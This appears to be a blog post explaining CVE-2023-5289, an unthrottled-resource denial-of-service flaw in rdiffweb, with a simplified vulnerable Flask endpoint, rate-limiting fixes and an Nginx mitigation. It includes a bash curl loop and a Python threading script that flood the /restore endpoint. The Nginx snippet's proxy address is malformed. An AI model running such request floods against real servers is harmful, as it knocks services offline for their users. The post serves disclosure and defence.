Rdiffweb is a popular web interface for managing and restoring rdiff-backup repositories. It’s widely used because it makes backup browsing and administration easier. But recently, an important security issue (CVE-2023-5289) was found in versions before 2.8.4. This post will explain what went wrong, how it can be exploited, and show you the steps needed to protect yourself — using simple code snippets and links to official references.

1. Understanding CVE-2023-5289

CVE-2023-5289 is about _Allocation of Resources Without Limits or Throttling_ (CWE-770). In plain English, it means the software lets users ask for work to be done, but doesn’t put a cap on how much work they can make it do. This can cause the server to become slow, crash, or even be abused to attack others (like a Denial of Service or DoS).

Where did this happen?

It happened in the rdiffweb project, all versions prior to 2.8.4.

2. Where is the Bug in the Code?

If you look through the project history, here’s what happened: the web interface lets users generate or restore files in their backups, kicking off processes that consume CPU and memory. But, the code didn’t check how many requests came in, or put any limits on those resources.

If a user (or attacker) sent a flood of requests, each triggering big operations, the server could get overloaded.

Here’s a simplified example (not exact code from the repo—explanation only)

# Imagine this endpoint in the Flask web server:

@app.route('/restore', methods=['POST'])
def restore_backup():
    backup_id = request.form['backup_id']
    path = request.form['path']
    # ⚠️ No input validation, no rate limiting!
    run_restore_process(backup_id, path)
    return 'Restoration started!'

Here’s a very basic exploit example (again, for learning—not actual hacking!)

Suppose you want to make the server very slow. You can write a quick script using curl or Python to send many /restore requests in parallel.

# Exploit with bash loop (DoS example -- for demonstration/pen testing only!)

for i in {1..100}; do
  curl -X POST -d "backup_id=ALL&path=/" https://rdiffweb.yourserver.com/restore &
done

Or with Python multithreading

import threading
import requests

def send_restore():
    requests.post('https://rdiffweb.yourserver.com/restore', data={'backup_id': 'ALL', 'path': '/'})

threads = []
for _ in range(100):
    t = threading.Thread(target=send_restore)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

If the server is not protected, this can quickly eat up resources — until it’s unresponsive.

4. How Was It Fixed?

The fix, available in version 2.8.4, introduces rate limiting and better resource management.

Key ideas

- Limit number of background processes per user/IP

It might look (in simplified form) like this

from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/restore', methods=['POST'])
@limiter.limit('5 per minute')  # Allows only 5 restore requests per minute per user/IP
def restore_backup():
    # ...rest of code...

Adding libraries like Flask-Limiter is a common way to fix this in Python web apps.

5. Am I At Risk?

- If you’re running rdiffweb older than 2.8.4, yes — unless you have your own firewall or rate-limiting in place.

6. How Do I Fix It?

Simple: Update to 2.8.4 or later! Get it on GitHub:
👉 Release link

Or, if you can’t update, set up a reverse proxy (like Nginx) with rate limits, or add Web Application Firewall (WAF) rules to limit abusive behavior.

Example Nginx snippet

limit_req_zone $binary_remote_addr zone=rdiffweb:10m rate=3r/s;

server {
    location /restore {
        limit_req zone=rdiffweb burst=10 nodelay;
        proxy_pass http://127...1:800;
    }
}

Official GitHub Advisory:

GHSA-qwc3-57vq-vcxg

MITRE CVE Record:

CVE-2023-5289

NIST NVD entry:

NVD - CVE-2023-5289
- What is Resource Allocation Without Limits? – CWE-770
- Flask-Limiter Docs

8. Summary

- CVE-2023-5289 is a DoS risk: rdiffweb let people drain your server’s resources with unlimited requests.

Don’t wait until someone takes your backup interface offline!

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Timeline

Published on: 09/29/2023 14:15:00 UTC
Last modified on: 10/02/2023 18:13:00 UTC